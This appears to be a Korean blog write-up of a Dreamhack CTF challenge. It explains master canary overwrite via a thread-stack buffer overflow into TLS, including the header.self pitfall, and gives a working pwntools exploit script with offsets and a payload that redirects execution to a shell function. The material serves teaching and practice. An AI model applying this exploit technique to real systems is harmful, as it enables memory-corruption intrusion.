master canary

ripemo·2025년 3월 23일

master canary

canary

  • 함수가 시작되고 스택을 형성할 때 bof 등으로 인한 스택프레임의 오염을 확인하기 위해 SFP 앞에 랜덤바이트인 canary를 삽입하고 return 시 해당 canary가 오염되었는지 확인하게 됩니다.
  • 이 때 canary는 fs:0x28에 위치하는 값을 가져와 canary로 사용하는 것을 알 수 있는데 이는 TLS 영역에 존재

TLS(Thread Local Storage)

  • TLS는 쓰레드 영역에서 사용하는 정적 변수를 저장하는 공간. 읽기, 쓰기 권한 존재.
  • TLS는 로더에 의해 할당되는데 그 과정에서 FS 레지스터가 TLS 영역의 주소를 가리키게 됨.

-> 따라서 fs:0x28에 위치한 랜덤바이트를 master canary라고 함.

thread stack

  • 스레드 함수는 스레드가 실행할 코드를 정의
  • 스레드 함수에서 선언된 변수는 TLS와 인접한 영역에 할당
  • 스레드에서 할당한 변수는 master canary 보다 낮은 주소에 있기 때문에 bof가 발생한다면 master canary overwrite 가능

exploit

  • TLS에 있는 master canary를 overwrite 해야 함.
  • 스레드 스택의 buffer에서 mastercanary 까지의 거리를 구한 후 overwrite 진행
  • 하지만 __pthread_disable_asynccancel+18 에서 오류 발생
  • byte ptr [rax + 0x972], 0 에 0을 대입할 때 접근할 수 없는 주소로 인한 오류 발생.
  • struct pthread 구조체에는 header의 self라는 값이 있는데 해당 부분이 위의 rax 부분.
  • 따라서 buffer를 'A'로 채우는 과정에서 header.self 의 값이 A로 오염되면서 0x6161616161616161가 됨.
  • 그 후 0x6161616161616161 + 0x972 에 접근해 값을 대입해야 하는데 0x6161616161616ad3 이라는 주소에는 접근할 수 없기 때문에 오류가 발생하는 것.
    따라서 버퍼를 채우는 과정에서 header.self+0x972 의 값을 접근가능하며 0을 대입해야 하므로 쓰기권한이 있는 주소로 채워줘야 함

분석

  • 현재 스레드의 struct pthread 구조체 확인

  • 현재 스레드 스택의 buffer 시작주소와 header.self의 차이 계산


    buffer 시작 주소와 header.self의 offset = 0x910

  • 카나리, 리턴 주소를 덮어야 하므로 스택 구조 확인

    canary 까지의 offset = 264

  • header.self에서 master canary 까지의 offset 확인

    header.self는 원하는 주소로 조작할 것이므로 사이의 offset은 0x10

  • header.self를 조작할 주소 확인

    vmmap을 이용해 w 권한이 있는 주소 확인

exploit

from pwn import *
import sys

if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    p = remote("host3.dreamhack.games",22712)
    
else:
    p = process("./mc_thread")
    
e = ELF("./mc_thread",checksec=False)
pause()

shell = e.symbols["giveshell"]
    
payload = b''
payload += b'a'*264
payload += b'A'*8
payload += b'a'*8
payload += p64(shell)
payload += b'a'*(0x910-len(payload))
payload += p64(0x404000-0x972)
payload += b'a'*0x10
payload += b'A'*8

print(len(payload)/8)

p.sendlineafter(": ","294")
p.sendafter(": ",payload)


p.interactive()
  • header.self에 덮어씌울 주소는 프로그램에 영향을 끼치지 않을 범위의 주소로 덮어씌움
  • 해당 문제는 nopie 였으므로 write 가능한 bss 영역의 주소를 그대로 사용
profile
hackyFrog

0개의 댓글